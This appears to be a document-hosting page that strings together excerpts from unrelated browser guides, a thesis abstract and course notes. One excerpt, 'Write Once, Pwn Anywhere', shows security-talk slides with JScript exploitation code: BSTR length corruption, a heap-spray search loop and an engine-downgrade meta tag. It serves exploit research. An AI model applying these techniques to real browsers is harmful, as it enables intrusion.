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Interaction Between Web Browsers and Script Engines
IT 12 058 Examensarbete 45 hp November 2012 Interaction between web browsers and script engines Xiaoyu Zhuang Institutionen för informationsteknologi Department of Information Technology Abstract Interaction between web browser and the script engine Xiaoyu Zhuang Teknisk- naturvetenskaplig fakultet UTH-enheten Web browser plays an important part of internet experience and JavaScript is the most popular programming language as a client side script to build an active and Besöksadress: advance end user experience. The script engine which executes JavaScript needs to Ångströmlaboratoriet Lägerhyddsvägen 1 interact with web browser to get access to its DOM elements and other host objects. Hus 4, Plan 0 Browser from host side needs to initialize the script engine and dispatch script source code to the engine side. Postadress: This thesis studies the interaction between the script engine and its host browser. Box 536 751 21 Uppsala The shell where the engine address to make calls towards outside is called hosting layer. This report mainly discussed what operations could appear in this layer and Telefon: designed testing cases to validate if the browser is robust and reliable regarding 018 – 471 30 03 hosting operations. Telefax: 018 – 471 30 00 Hemsida: http://www.teknat.uu.se/student Handledare: Elena Boris Ämnesgranskare: Justin Pearson Examinator: Lisa Kaati IT 12 058 Tryckt av: Reprocentralen ITC Contents 1. Introduction................................................................................................................................ -
How to Change Your Browser Preferences So It Uses Acrobat Or Reader PDF Viewer
How to change your browser preferences so it uses Acrobat or Reader PDF viewer. If you are unable to open the PDF version of the Emergency Action Plan, please use the instructions below to configure your settings for Firefox, Google Chrome, Apple Safari, Internet Explorer, and Microsoft Edge. Firefox on Windows 1. Choose Tools > Add-ons. 2. In the Add-ons Manager window, click the Plugins tab, then select Adobe Acrobat or Adobe Reader. 3. Choose an appropriate option in the drop-down list next to the name of the plug-in. 4. Always Activate sets the plug-in to open PDFs in the browser. 5. Ask to Activate prompts you to turn on the plug-in while opening PDFs in the browser. 6. Never Activate turns off the plug-in so it does not open PDFs in the browser. Select the Acrobat or Reader plugin in the Add-ons Manager. Firefox on Mac OS 1. Select Firefox. 2. Choose Preferences > Applications. 3. Select a relevant content type from the Content Type column. 4. Associate the content type with the application to open the PDF. For example, to use the Acrobat plug-in within the browser, choose Use Adobe Acrobat NPAPI Plug-in. Reviewed 2018 How to change your browser preferences so it uses Acrobat or Reader PDF viewer. Chrome 1. Open Chrome and select the three dots near the address bar 2. Click on Settings 3. Expand the Advanced settings menu at the bottom of the page 4. Under the Privacy and security, click on Content Settings 5. Find PDF documents and click on the arrow to expand the menu 6. -
How to Check Your Browser Version on a PC
How to Check Your Browser Version on a PC Google Chrome (PC) 1) Click on the Menu Icon ( ) in the upper right corner of your browser window. 2) Click on Settings 3) Click on the About tab on the left-hand side of the page. 4) If you are not running the most recent version of Chrome available for your Operating System, you will be prompted to update Chrome. For your security, we recommend that you install all Security, App and Operating System updates as they become available. Mozilla Firefox (PC) 1) Click on the Help menu at the top of your browser window. 2) Click on About Firefox at the bottom of the menu. 3) A small window will pop up showing your Firefox version number, and will tell you whether you are on the most recent version, or not. For your security, we recommend that you install all Security, App and Operating System updates as they become available. Internet Explorer (PC) 1) Click on the Gear Icon at the top of your browser window. 2) Click on the About Internet Explorer option. 3) A window will pop up showing you your Internet Explorer version. 4) If you are using Internet Explorer 9 or 10, you will need to make sure that you have TLS 1.2 enabled by: A) Clicking on the Gear Icon again. B) Click on Internet Options. C) Click on the Advanced Tab and scroll down to the option titled “Use TLS 1.2”. (This should be found at the bottome of the list of options.) The box next to this should be checked. -
Write Once, Pwn Anywhere
Write Once, Pwn Anywhere Yang Yu Twitter: @tombkeeper Agenda • Summon BSTR back • JScript 9 mojo • “Vital Point Strike” • “Interdimensional Execution” Who am I? • From Beijing, China • Director of Xuanwu Security Lab at Tencent – We're hiring • Researcher from 2002, geek from birth – Strong focus on exploiting and detection • Before 2002, I am a… Before 2002 Now Summon BSTR back About BSTR JScript 5.8 and earlier use BSTR to store String object data struct BSTR { LONG length; WCHAR* str; } var str = “AAAAAAAA”; 0:016> dc 120d0020 l 8 120d0020 00000010 00410041 00410041 00410041 ....A.A.A.A.A.A. 120d0030 00410041 00000000 00000000 00000000 A.A............. Corrupt BSTR prefix var str = “AAAAAAAA”; 0:016> dc 120d0020 l 4 120d0020 00000010 00410041 00410041 00410041 ....A.A.A.A.A.A. writeByVul(0x120d0020, 0x7ffffff0); 0:016> dc 120d0020 l 4 120d0020 7ffffff0 00410041 00410041 00410041 ....A.A.A.A.A.A. var outofbounds = str.substr(0x22222200,4); * Peter Vreugdenhil, “Pwn2Own 2010 Windows 7 Internet Explorer 8 exploit” Locate the address of BSTR prefix var strArr = heapSpray("\u0000"); var sprayedAddr = 0x14141414; writeByVul(sprayedAddr); for (i = 0; i < strArr.length; i++) { p = strArr[i].search(/[^\u0000]/); if (p != -1) { modified = i; leverageStr = strArr[modified]; bstrPrefixAddr = sprayedAddr - (p)*2 - 4; break; } } * Fermin J. Serna, “The info leak era on software exploitation” JScript 9 replaced JScript 5.8 since IE 9 JScript 9 does not use BSTR now So exploiters switch to flash vector object But, JScript 5.8 is still there We can summon it back The spell to summon JScript 5.8 back <META http-equiv = "X-UA-Compatible" content = "IE=EmulateIE8"/> <Script Language = "JScript.Encode"> … </Script> or <META http-equiv = "X-UA-Compatible" content = "IE=EmulateIE8"/> <Script Language = "JScript.Compact"> … </Script> * Some features are not supported with JScript.Compact, like eval(). -
Böngésző Programok 23. Tétel
23.tétel 1.0 Böngész ő programok használata, összehasonlítása. Az információ keresés technikái. Bogdán;Sleisz Böngész ő programok (Használata, összehasonlítása. Az információ keresés technikái) 23. tétel Az Internet kialakulása 20. század második felére helyezhet ő. Az ARPA rendszerb ől fejl ődött tovább az USA-ban, azóta folyamatosan fejlesztgetik a különböz ő protokollokat, illetve technológiákat, az adatforgalom sebességének növelése érdekében. Komoly tévhitet képez a világban, hogy az Internet az a böngész őben megjeleníthet ő weboldalak összessége. Nagy tévedés, ugyanis ez csak a HTTP protokoll által szolgáltatott tartalom, amely a teljes internetes adatforgalomnak kevesebb, mint az 1/10-ét képezi. Az internetet úgy kell elképzelni, mint egy hardvereszközt, ami az egész világot lefedi, a rajta elérhet ő szolgáltatásokat pedig nevezzük "szoftvereknek". Kétségkívül az egyik legelterjedtebb szolgáltatás ("szoftver") a 80-as port -on kommunikáló HTTP protokoll, amihez tartozik egy kommunikációs nyelv is. A HTTP protokoll célja hagyományos esetben- a távoli "szerveren/kiszolgálón" elhelyezked ő weboldal letöltése a helyi számítógépre. 1. A böngész ő a HTTP kommunikációs nyelven megfogalmazott kérést küld a szerver felé, hogy szeretnénk megjeleníteni a kért weboldalt 2. A szerver válaszol. Többféle üzenetet küldhet vissza a böngész őnek, és minden üzenethez tartozik egy azonosító szám is, úgynevezett Status Code. A legismertebb visszatérési érték talán a Not Found (a keresett weboldal nem található), melynek Status Code-ja a 404. Ilyet könnyedén el őidézhetünk, ha pl. nem létez ő oldalt próbálunk letölteni. A leggyakoribb azonban, ha a 200-as üzenetet kapjuk vissza, vagyis megjelenik az oldal. 3. Ezek után a böngész ő elkezdi letölteni a kért oldal forráskódját . A forráskód egy olyan leíró kód nagyrészt HTML nyelven, amely leírja, hogyan néz ki a weboldal. -
Internet Explorer Users Are Required to Add the Portal URL to Trusted Sites
CLA Client Portal Browser and Silverlight FAQs 1. Question: I am receiving an “Error 500” when clicking the link to access the CLA Document Portal. Resolution: Verify with your IT department that the portal is not blocked by any internal monitoring or protection applications. 2. Question: How do I know if my computer has Microsoft Silverlight Installed? Resolution: The first time you try and login to the portal you will be prompted to install Silverlight from Microsoft’s website if you don’t have it already installed. The installation typically takes less than one minute and is completely safe. http://www.microsoft.com/getsilverlight/Get-Started/Install/Default.aspx If you cannot, or prefer not to, install Silverlight on your machine, a simplified version of the document portal that does not require Silverlight is available. Click on the Take me to the non- Silverlight login on the CLA Document Portal page (www.claconnect.com/docportal). 3. Question: I cannot access the CLA Document Portal. (Server error/Page not found) Resolution: Check that you are using a Microsoft Silverlight 4 compatible browser on all PC’s or MAC. A complete list of browsers and operating systems that support Silverlight 4 can be found at http://www.microsoft.com/getsilverlight/locale/en-us/html/installation-win-SL4.html Please note: Internet Explorer users are required to add the portal URL to Trusted Sites. Adding to Trusted Sites Internet Explorer settings 1. Open Internet Explorer and browse to https://portal.cchaxcess.com/Portal/. 2. In Internet Explorer, select Tools / Internet Options; then select the Security tab and click Trusted Sites and then Sites. -
How to Migrate to Windows®7 & Internet Explorer® 8 While
Internet Explorer 6 Application Compatibility Solution How to Migrate to Windows®7 & Internet Explorer® 8 While Supporting Internet Explorer® 6 Applications Quest Software and Microsoft Can Provide a Supported and Compliant Solution Compatibility Problem SOLUTION The Windows 7 operating system and its default browser, Windows Internet Explorer 8, offer A Microsoft-Compliant and Endorsed many exciting new features and benefits. However, organizations may find that some of their Solution from Quest Software older applications are not yet functional or supported in the new Windows 7 operating system, Microsoft and Quest Software have including legacy business applications that were originally built to run on IE6 within a Windows developed an affordable, compliant XP or Windows Server 2003 environment. When migrating to Windows 7, you may have and endorsed solution that enables IE6 applications to run in a Windows® 2003 difficulty supporting these applications. Terminal Server farm. It can be delivered Maintaining Microsoft Support three different ways: While an application virtualization solution may seem like a reasonable near-term fix, Microsoft • After log-in, users can open their vWorkspace Web Access portal and strongly discourages the use of any solution or service (hosted or on-premises) that repackages access approved applications running in the executable components of Internet Explorer, or portions of those components, into a a terminal server session from within a separate installation, including solutions that incorporate “application” level virtualization. data center. • You can populate the desktop or start Any attempt to repackage Windows to execute multiple versions of Internet Explorer on a menu with assigned application icons single instance of Windows will result in an unsupported configuration by Microsoft Customer that actually execute in a terminal server Support Services. -
Getting Started with Outlook Express for Windows 2000/XP Author Marcie Matsuo Revised by Darren Kato
WIN9X015 November 2005 Getting Started With Outlook Express For Windows 2000/XP Author Marcie Matsuo Revised by Darren Kato Introduction.................................................................................................................................1 What is Outlook Express ............................................................................................................1 Requirements ..............................................................................................................................2 Where do I get Outlook Express.................................................................................................2 Issues...........................................................................................................................................2 POP and IMAP ...........................................................................................................................2 Installing Outlook Express..........................................................................................................3 Configuring Outlook Express .....................................................................................................3 Using Outlook Express ...............................................................................................................9 Importing Messages From Other Mail Programs .....................................................................12 Using the Address Book ...........................................................................................................14 -
Web Browsing and Communication Notes
digital literacy movement e - learning building modern society ITdesk.info – project of computer e-education with open access human rights to e - inclusion education and information open access Web Browsing and Communication Notes Main title: ITdesk.info – project of computer e-education with open access Subtitle: Web Browsing and Communication, notes Expert reviwer: Supreet Kaur Translator: Gorana Celebic Proofreading: Ana Dzaja Cover: Silvija Bunic Publisher: Open Society for Idea Exchange (ODRAZI), Zagreb ISBN: 978-953-7908-18-8 Place and year of publication: Zagreb, 2011. Copyright: Feel free to copy, print, and further distribute this publication entirely or partly, including to the purpose of organized education, whether in public or private educational organizations, but exclusively for noncommercial purposes (i.e. free of charge to end users using this publication) and with attribution of the source (source: www.ITdesk.info - project of computer e-education with open access). Derivative works without prior approval of the copyright holder (NGO Open Society for Idea Exchange) are not permitted. Permission may be granted through the following email address: [email protected] ITdesk.info – project of computer e-education with open access Preface Today’s society is shaped by sudden growth and development of the information technology (IT) resulting with its great dependency on the knowledge and competence of individuals from the IT area. Although this dependency is growing day by day, the human right to education and information is not extended to the IT area. Problems that are affecting society as a whole are emerging, creating gaps and distancing people from the main reason and motivation for advancement-opportunity. -
Internet Explorer
Internet Explorer Internet Explorer 11 To start Internet Explorer click on the icon below The procedure for identifying the version of Internet Explorer on your computer is as follows: 1. Start Internet Explorer 2. Move the cursor to the top right corner of the window and click the gear icon 3. Select “About Internet Explorer” from the drop down menu. Alternatively, you can click “Help” in the menu bar and select “About Internet Explorer“ from the menu. Useful tip: If you can’t see the “File, Edit, View, Help” menu bar, press the Alt key to make the menu bar visible. As shown below, in the “About Internet Explorer” window, you can view the Version number. Internet Explorer on your computer can be set to automatically install new versions when they become available. This can be done by checking the box to “Install new versions automatically” In the “About Internet Explorer” window. Internet Explorer 9 To view the “About” page in Internet Explorer: 1. At the top right of the program window, click the gear icon 2. Select “About Internet Explorer” in the drop down menu. The version number will be displayed in the “About Internet Explorer” window, see example below. Updating your Internet Explorer Browser Microsoft updates Internet Explorer using its Windows update feature. If you are regularly installing the latest Windows updates from Microsoft then you should be on the latest version of Internet Explorer. Note Windows 10 automatically updates Internet Explorer. Follow the procedure below to manually trigger an update of the Internet Explorer Browser: 1. Open the Control Panel. -
Web Browsers
WEB BROWSERS Page 1 INTRODUCTION • A Web browser acts as an interface between the user and Web server • Software application that resides on a computer and is used to locate and display Web pages. • Web user access information from web servers, through a client program called browser. • A web browser is a software application for retrieving, presenting, and traversing information resources on the World Wide Web Page 2 FEATURES • All major web browsers allow the user to open multiple information resources at the same time, either in different browser windows or in different tabs of the same window • A refresh and stop buttons for refreshing and stopping the loading of current documents • Home button that gets you to your home page • Major browsers also include pop-up blockers to prevent unwanted windows from "popping up" without the user's consent Page 3 COMPONENTS OF WEB BROWSER 1. User Interface • this includes the address bar, back/forward button , bookmarking menu etc 1. Rendering Engine • Rendering, that is display of the requested contents on the browser screen. • By default the rendering engine can display HTML and XML documents and images Page 4 HISTROY • The history of the Web browser dates back in to the late 1980s, when a variety of technologies laid the foundation for the first Web browser, WorldWideWeb, by Tim Berners-Lee in 1991. • Microsoft responded with its browser Internet Explorer in 1995 initiating the industry's first browser war • Opera first appeared in 1996; although it have only 2% browser usage share as of April 2010, it has a substantial share of the fast-growing mobile phone Web browser market, being preinstalled on over 40 million phones. -
Why Websites Can Change Without Warning
Why Websites Can Change Without Warning WHY WOULD MY WEBSITE LOOK DIFFERENT WITHOUT NOTICE? HISTORY: Your website is a series of files & databases. Websites used to be “static” because there were only a few ways to view them. Now we have a complex system, and telling your webmaster what device, operating system and browser is crucial, here’s why: TERMINOLOGY: You have a desktop or mobile “device”. Desktop computers and mobile devices have “operating systems” which are software. To see your website, you’ll pull up a “browser” which is also software, to surf the Internet. Your website is a series of files that needs to be 100% compatible with all devices, operating systems and browsers. Your website is built on WordPress and gets a weekly check up (sometimes more often) to see if any changes have occured. Your site could also be attacked with bad files, links, spam, comments and other annoying internet pests! Or other components will suddenly need updating which is nothing out of the ordinary. WHAT DOES IT LOOK LIKE IF SOMETHING HAS CHANGED? Any update to the following can make your website look differently: There are 85 operating systems (OS) that can update (without warning). And any of the most popular roughly 7 browsers also update regularly which can affect your site visually and other ways. (Lists below) Now, with an OS or browser update, your site’s 18 website components likely will need updating too. Once website updates are implemented, there are currently about 21 mobile devices, and 141 desktop devices that need to be viewed for compatibility.